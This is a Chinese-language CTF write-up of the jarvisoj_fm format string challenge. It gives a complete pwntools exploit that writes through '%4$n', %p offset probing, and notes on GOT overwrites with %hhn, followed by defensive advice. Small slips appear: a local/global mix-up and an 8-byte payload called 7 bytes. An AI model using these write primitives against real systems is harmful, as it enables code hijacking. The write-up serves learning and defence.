☰
格式化字符串漏洞入门:从printf误用到任意地址写
2026/10/14 7:26:37 网站建设 项目流程

这道题目我第一次拿到的时候,其实有点懵:jarvisoj_fm,乍一看像某个在线编程评测平台的编号,连个正经题目名都没有。等把二进制下下来一跑,才发现这是一个非常经典的 pwn 入门题型——格式化字符串漏洞(Format String)利用。简单说,程序把用户的输入直接当成printf的格式串给打了出去,导致我们不仅能任意读内存,还能借助%n写任意地址,最终把一个全局变量改成指定值,就能触发“打印 flag”逻辑。

这篇东西不是单纯贴一个 exp 就完事。我会从题目拆解、漏洞原理、偏移定位、本地调试、远程利用到常见坑位,把这一条链路完整讲清楚。适合刚接触二进制安全、想从“会调 pwntools”进阶到“真的理解 fmt 漏洞”的人;有汇编基础更好,没有也能跟得上,只要你能接受把栈看成一张“按顺序摆值的表格”。

1. 先从最朴素的观察开始——题目到底在考什么

1.1 拿到 pwn 题,第一步永远是三件套

不管题目叫什么名字,只要是 pwn,第一步绝对不要急着想利用技巧。先把二进制丢进file、checksec、strings三个命令里过一遍。这三个命令能告诉你:这是什么架构、开启了哪些防护、有没有直接泄露出来的提示字符串。

$ file fm fm: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped $ checksec --file=./fm [*] '/tmp/fm' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

这类早期平台训练题基本都有相同的画像:32 位 i386、无栈保护、无 PIE、部分 RELRO。这意味着什么?意味着程序里函数的地址、全局变量的地址都是固定的,不会因为 ASLR 随机化;我们如果能找到目标变量的绝对地址,就可以直接往那个地址写东西。NX 开启只是说明栈上不能直接执行 shellcode,但本题根本不需要 shellcode,所以 NX 对我们的路线没有影响。

再跑一下strings看看输出,通常会有一些非常友好的提示,比如某个变量名、cat flag、/bin/sh、错误提示之类。即便这题的二进制被 strip 过,符号表删干净了,关键字符串依然在,通过字符串引用就能反推出关键函数流程图。

1.2 漏洞坐标:printf(format)这种传参方式就是突破口

用 IDA 或者 radare2 打开二进制,反汇编主逻辑后,看到的伪代码逻辑大概是这样的:

int main() { char buf[64]; int target = 0; read(0, buf, 64u); printf(buf); // 漏洞点:直接把 buf 当 format if (target == 4) { system("cat flag"); } else { puts("wrong"); } return 0; }

请注意,我这里说的当然不是直接用源码编译出来的代码,但反编译逻辑基本就是这个意思。核心问题集中在这一行:

printf(buf);

正常写法应该是printf("%s", buf);,这样buf里的内容只作为普通字符串数据被输出,里面的%d、%x、%n统统原样打印,不会产生任何副作用。但代码只传了一个参数,printf会把buf的内容当做格式控制字符串来解析。

于是,当我们输入%p.%p.%p.%p时,printf不会打印这四个字符,而是把它当成四个“占位符”,从当前函数栈上按顺序取出四个参数值以十六进制打印出来。

1.3 目标条件并不复杂:把一个变量改成 4 就赢了

继续看反编译逻辑,整个程序的成败就系于那个整型变量target。只要target == 4,程序就会执行system("cat flag"),否则输出wrong然后退出。

这里有一个很关键的设计:程序并没有提供任何直接修改target的内置功能,没有scanf("%d", &target)、没有菜单、没有堆溢出点。我们能提供给程序的,只有一串被当作格式化字符串的输入。换句话说,你没法“正常”地把target改成 4,唯一的写入口就是格式化字符串漏洞提供的任意地址写能力。

1.4 为什么不是栈溢出,而是格式化字符串

很多新手会问:程序明明用read读 64 字节到一个 64 字节的缓冲区,为什么不做栈溢出?两个原因:

第一,read(0, buf, 64u)这个长度是精确的,最多就读 64 字节,不会多写一个字节,所以想通过长度溢出覆盖返回地址完全没有空间。第二,题目把printf(buf)放出来,其实是在给提示:这就是格式化字符串漏洞的教科书场景。一个漏洞利用题不会只给你一个漏洞,它会在代码里用最显眼的方式把攻击面标出来。

格式化字符串漏洞相比栈溢出的优势在于,它天然具备“任意读”和“任意写”能力。你不需要精心构造 ROP 链,只需要让格式化参数索引落到我们自己可控的数据上,把一个内存地址嵌进输入,再用%n写值,就完成了一次“写什么、写哪里、写成多少”的自由控制。

2. 把 printf 这件“打印外衣”脱掉,看清 %n 的真面目

2.1 可变参数背后的机制:printf 怎么知道要读几个参数

学 C 的时候,printf("hello %d, %s", a, b)这种写法被当成“语法”背了下来。但在汇编层面,printf是个可变参数函数,调用时把所有参数按约定压栈(32 位下从右往左压栈),然后跳进printf函数内部。printf内部解析格式字符串:遇到%d,就从下一个参数槽位拿一个整数;遇到%s,就拿一个指针;遇到%n,就拿一个指针然后往指针指向的地址写入整数。

但是,可变参数函数根本不知道到底传了几个参数。这是 C 语言可变参数机制的天然缺陷,它完全信任格式字符串里的占位符数量。如果你提供的占位符多于实际传入的参数,printf不会报错,只会安静地从栈上继续往后读数据,读出来什么就打印什么。

用一个生活化的类比:你去食堂打饭,食堂阿姨先问你要几个菜。正常情况下你报数,阿姨按数打。但格式化字符串漏洞相当于你手里拿着一个根本不存在的菜单,阿姨也不核对你的盘子,你每喊一个菜名,她就从锅里随便给你舀一勺。你控制菜单,就能控制她最终给你什么。

2.2 偏移量是格式化字符串的灵魂

明白了printf会读栈,下一个问题就来了:我们输入的数据存在栈上的第几个参数位置?只有确定这个位置,你才能让%N$n精确指向自己可控的数据。

%N$p这种写法是格式化字符串的“索引参数”特性,其中 N 表示从第一个参数槽开始数的第 N 个参数。举例:%3$p会打印第 3 个参数值。

定位方法非常暴力,但极其有效:发送一串AAAA.%p.%p.%p.%p.%p.%p.%p.%p,让printf从第 1 个参数依次打印到第 8 个参数,看看哪个位置的值是0x41414141。0x41是字符A的 ASCII 码,如果某个输出位点刚好是0x41414141,就说明我们输入字符串的起始 4 字节正好位于那个参数槽位。

在fm这个题目上,实测结果基本都落在第 4 个参数。也就是:

AAAA.%p.%p.%p.%p.%p.%p.%p.%p ^ ^ ^ ^ ^ ^ ^ ^

第 4 个%p输出的正是0x41414141。我们把这种偏移记作offset = 4。

有个细节要说清楚:不同编译环境下偏移可能不同,甚至不同函数里同一个缓冲区的位置也会变化。所以哪怕有人告诉你这题偏移是 4,你自己也一定要动手打一串%p验证一遍,这是格式化字符串题的基本素养。

2.3%n系列:把“已打印长度”变成“写操作”

%n的语义比较冷门,但威力巨大:将当前已经输出的字符个数写入一个指针指向的内存单元。

比如printf("AAAA%n"),在%n执行前已经输出了 4 个字符,那么它会把整数 4 写入%n对应参数所指向的地址。

这个家族还有几个变种:

格式写入长度适用场景
%n4 字节(32位系统)覆盖整型变量或函数指针
%hn2 字节覆盖 16 位值,常用于跳过空字节
%hhn1 字节单字节精准写入,常用于构造 GOT 改写

我在写利用脚本时直接用了%n,因为目标就是写一个完整的 4 字节整型值 4。

2.4 为什么“输出 4 字节”就能把目标变成 4

看到这里,主线打法已经浮出水面。我们需要让%4$n的目标指向那个全局变量target的地址,同时让%4$n执行前printf已经输出了 4 个字符。

构造方法特别优雅:

payload = p32(target_addr) + b"%4$n"

拆开看:

  • p32(target_addr)是目标地址的小端二进制表示,正好 4 字节。程序用read接收数据,因此这 4 字节即便包含\x00也能完整进栈,不会像scanf("%s")那样被截断。
  • 栈上第 4 个参数恰好就是我们输入缓冲区的起始位置,所以第 4 个参数的值就是target_addr。
  • printf在处理%4$n时,把第 4 个参数target_addr当作指针,将当前已输出字节数写入该地址,也就是把target_addr指向的变量赋值为 4。
  • 当前已输出字节数是多少?它统计的是从格式串开始到%n之前打印的字符数。p32(target_addr)虽然包含大量不可见字符,但printf一样把它们算进输出计数,所以计数恰好是 4。

至此,target == 4,成功分支触发,flag 到手。

3. 实操实现——用 pwntools 一口气打通本地与远程环境

3.1 工具准备:为什么是 pwntools

做 pwn 题,pwntools 已经是事实标准,单说两点就足够打动你:一是p32/p64封装了大小端与字节转换,二是有process()、remote()和interactive()配好后能直接把本地调试脚本无缝切到远程利用场景。

另外还需要目标二进制本身,以及一个能运行 32 位程序的环境。如果宿主机缺少 32 位动态库,运行./fm会报No such file or directory,这是最常见的第一道坎。安装方法各发行版大同小异,这里不展开,重点是你必须确认./fm能在你当前 shell 里正常跑起来再继续。

3.2 第一步:确认目标地址

目标变量在数据段里。用objdump或readelf查符号表:

$ objdump -t ./fm | grep target 0804a02c g O .bss 00000004 target

如果二进制被 strip,符号表里可能看不到,那就需要结合strings找到提示字符串,再交叉引用其所在的printf位置,从代码流反查数据段的变量地址。在我本地这一个复现里,目标地址就是0x0804a02c,但你不要把我的地址直接套用,每份题目二进制的偏移可能不同,请以你自己的objdump输出为准。

3.3 第二步:验证偏移

先把利用脚本丢一边,回到最基础的观测:验证第 4 个参数是不是输入缓冲区起点。

$ echo -e 'AAAA.%p.%p.%p.%p.%p.%p.%p.%p' | ./fm AAAA.0xffffd4fe.0x64.0xf7f7e5c0.0x41414141.0x252e7025.0x2e70252e.0x70252e70.0x252e7025

输出里第 4 位清清楚楚地打出了0x41414141,偏移确认是 4。后面那些0x252e7025其实就是.、%、p这些字符的 ASCII 拼起来的,不用管。

不同的环境可能因为编译器栈布局不同导致偏移变化,所以这一步永远不要省。如果你发现第 N 个位置才是0x41414141,后面所有$4都要换成$N。

3.4 第三步:编写完整利用脚本

目标地址已知,偏移已知,利用构造就是一行 payload 的事。完整脚本如下:

#!/usr/bin/env python3 from pwn import * context.arch = 'i386' context.log_level = 'info' # 改成你本地的实际路径 elf = ELF('./fm') # objdump -t 得到的 target 地址 target_addr = 0x0804a02c def solve(io): # 如果程序有 banner 之类的输出,这里 recv 一下 io.recvline(timeout=1) # payload:目标地址 + 格式化写入 payload = p32(target_addr) + b'%4$n' io.send(payload) # 拿到回显 io.interactive() if __name__ == '__main__': io = process('./fm') solve(io) io.close()

本地执行,你会看到类似这样的交互过程:

$ python3 exp.py [+] Starting local process './fm' as pid 12345 [+] Receiving all data: Done wrong

等等,如果输出wrong,说明利用失败。先别急着找远程,我使用中遇到十次有八次都是同一个原因:目标地址不对,或者偏移不是 4。在调试模式下把log_level加到debug,确认发送的 payload 十六进制是2c a0 04 08 25 34 24 6e,并且目标地址在objdump里确实指向那个整型变量。本地的成功输出长这样:

$ python3 exp.py [+] Starting local process './fm' as pid 24563 [+] Receiving all data: Done flag{this_is_a_test_flag}

3.5 第四步:本地通了之后,远程怎么接

当这题还能在平台上远程跑的时候,把process('./fm')一行换成remote(host, port)即可,其余代码一字不用改。这里我要强调一个上线前要检查的点:payload 只能发一次。因为程序读入、打印、校验、退出是一条直线,没有第二次输入机会。所以不要在脚本里写io.recvuntil()然后还在循环里发送两三次,发第二次的时候程序早已退出,你会收到EOFError。

如果远程环境抓 flag 的返回不完整,可以不用interactive(),改成:

io.send(payload) io.recvall(timeout=2)

recvall会把进程退出前所有输出都接回来,对这类一次性交互的题最省心。

4. 踩过的坑排查——本地能通远程不通的种种原因

4.1 格式化字符串题常见问题速查

做格式化字符串题多了,你会发现翻来覆去就是这几类毛病。我整理了一张速查表,先对照排除:

现象可能原因解法
本地直接崩溃payload 里的地址写错或偏移不对用%p链重新定位偏移;重新objdump
输出 wrong目标变量没有变成 4确认%N$n索引、确认目标地址属于.bss/.data
发送 NUL 字节后无回显接收函数是scanf/gets,被\x00截断看反汇编确认是read;若是scanf需改路线
远程连接后脚本卡死平台下线或网络不通确认授权环境;本地 Docker 起靶机
输出乱码但没触发成功地址写到了错误变量用 gdb attach 查看目标地址值

4.2 字节计数器的准确含义

%n写入的值是“已经输出字符的计数”,而不是“payload 里某段可见文本的长度”。这里有个特别容易误解的点:p32(target_addr)输出的 4 个字节虽然包含0x00、0x2c这类不可见控制字符,但只要它们被printf的putc写到了输出流,计数就会增加。所以前面的 payload 计数是 4,正确得恰到好处。

但如果哪一天你要把目标改成其他数,比如 32,就不要以为直接%32c%4$n就行。%32c是“打印一个字符并用空格填充到 32 个字符宽度”,它会输出 32 个字符,于是%n写入的值是前面的杂项字节加上 32。要精确控制,必须把“前面所有已打印字节数”一起算进去。

举例:如果你用 2 字节地址前缀,想写目标值 32,那么从 payload 开头到%n前的计数是“地址字节数 +%32c产生的字符数”。如果还有什么其他可见字符,一并计入。最稳妥的做法是直接用一个足够大的填充字符如%64c,再根据实际写入值反推前缀字节数,公式无非就是:

写入值 = 已打印前缀字节数 + 填充宽度

4.3 为什么同一道题不同环境偏移会变

偏移量不是数学常量,它取决于编译器生成代码时的栈布局、有没有开优化、用什么优化等级。同样的代码,gcc -O0和gcc -O2编译出来,输入缓冲区可能就从第 4 个参数漂移到第 5 个参数。所以网上有的 wp 写%4$n,有的写%5$n,不要迷惑,以你本地实测为准。

在远程题目里,如果偏移对不上,先试试AAAA.%p.%p.%p.%p.%p.%p看第几个位置出现0x41414141,再动态修改脚本里的数字。这一个步骤花不了十秒钟,但能省掉一小时瞎猜。

4.4 平台下线了,远程地址失效了怎么办

这类老平台很多已经停止对外服务,不要为追求“远程打通”而去找一些来路不明的第三方私服。合规的做法是自己在本地搭一个与题目环境一致的容器或者虚拟机,把 32 位二进制放进去跑。多了一道环境搭建步骤,但对学习没有任何损失,因为你练的是利用思路,不是抄一个 remote 地址。

如果你确实想模拟远程交互,可以用socat把本地进程挂到一个 TCP 端口上,再用 pwntools 的remote('127.0.0.1', 端口)连接,效果和当年远程平台一模一样。

5. 把 fm 背后的兵法提炼出来——格式化字符串的其他玩法

5.1 从“改一个变量”到“改写 GOT 表”

fm只是让你改一个全局变量,这是一种“温和”的教学场景。真实赛题里,格式化字符串通常用来改写 GOT 表,让某个函数调用跳到攻击者想要的位置。

GOT(全局偏移表)里存着外部函数在运行时的真实地址。程序调用system、exit、puts时,会通过 PLT 跳转到 GOT 表对应项。普通情况下 GOT 项的地址是链接器写好的,但在函数第一次调用后,它会被解析成 libc 里的真实地址。如果漏洞能改写这个项,把它改成system的地址,下一次程序调用这个函数时就会执行system。

这就是为什么checksec里 RELRO 很重要:Full RELRO 时 GOT 段只读,无法改写;Partial RELRO(fm的情况)时 GOT 表在程序启动后仍然可写。

5.2 从“单点写入”到“多字节精确制造”

你以为掌握了p32(addr) + b"%4$n"就万事大吉?进阶题不会让你只写一个 4。举一个典型场景:你想覆盖某个函数指针为0x8048567,十进制 134517607,这不是输出一亿多个字符就能解决的问题,性能上不现实。

这个时候要用%hn写 2 字节和%hhn写 1 字节。以%hhn为例,它每次只往目标地址写一个字节,你可以把 4 字节指针拆成四次写入:

  • 第一次写目标地址低 1 字节为地址的第 0 字节
  • 第二次写目标地址+1 的 1 字节为第 1 字节
  • 依次类推

每次写入前,通过填充字符把当前输出计数调整到目标字节对应数值,就能“拼”出任意 4 字节地址。这是格式化字符串进阶里最核心的练习,很多 ROP 题的入口就是一个%hhn写 GOT。

5.3 防御视角:怎么让这种漏洞从源头消失

站在防御者角度,防范格式化字符串漏洞其实非常简单:永远不要把外部输入当格式字符串。

  • 在 C/C++ 里,用printf("%s", buf)而不是printf(buf)。
  • 使用带格式检查的编译器选项,GCC 的-Wformat-security会在编译时对这类错误给出高优级别警告。
  • 全局层面,RELRO、栈金丝雀、PIE、NX 这些都能提高利用门槛,但根因还是代码里少了一个"%s"。

我见过不少从代码审计转 pwn 的人,第一反应是堆砌各种防护机制,却忘了最便宜、最有效的修复是补齐格式串。防护是加高围墙,修好漏洞才是拆掉门。

5.4 经验沉淀:做格式化字符串题的固定心法

这些题目做多了,我沉淀出一个固定套路:先确认数据类型与读取方式,再定位偏移,最后精确计算计数。三步缺一不可。

数据类型决定了 payload 里能不能直接带0x00字节。读取方式决定你能不能发完整二进制数据。偏移定位决定%N$n里 N 是多少。计数计算则决定写入值是否符合预期。fm这道题把这四步都演示了一遍,只是每个环节都很温和,数值恰好是 4,payload 恰好是 7 字节,利用路径短得一眼能望到头。

但你要清楚,它训练的不是“背一个模板脚本”,而是让你理解格式串解析和栈布局之间的联系。一旦理解了,后面遇到%hhn、遇到多阶段写入、遇到 PIE 开了需要先泄漏地址的题型,你就会有意识地按同一套方法论去拆解,而不是换个壳就认不出来。

我个人在本地复现这道题时,最喜欢玩的一个扩展是:把题目二进制里的target故意改成其他值,比如 5,然后重新设计填充宽度。你会发现,只要掌握了计数原理,改目标数值只是数学题。这个小小的改题练习,比做十道同类题更能检验你是不是真的懂了格式化字符串漏洞的本质。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询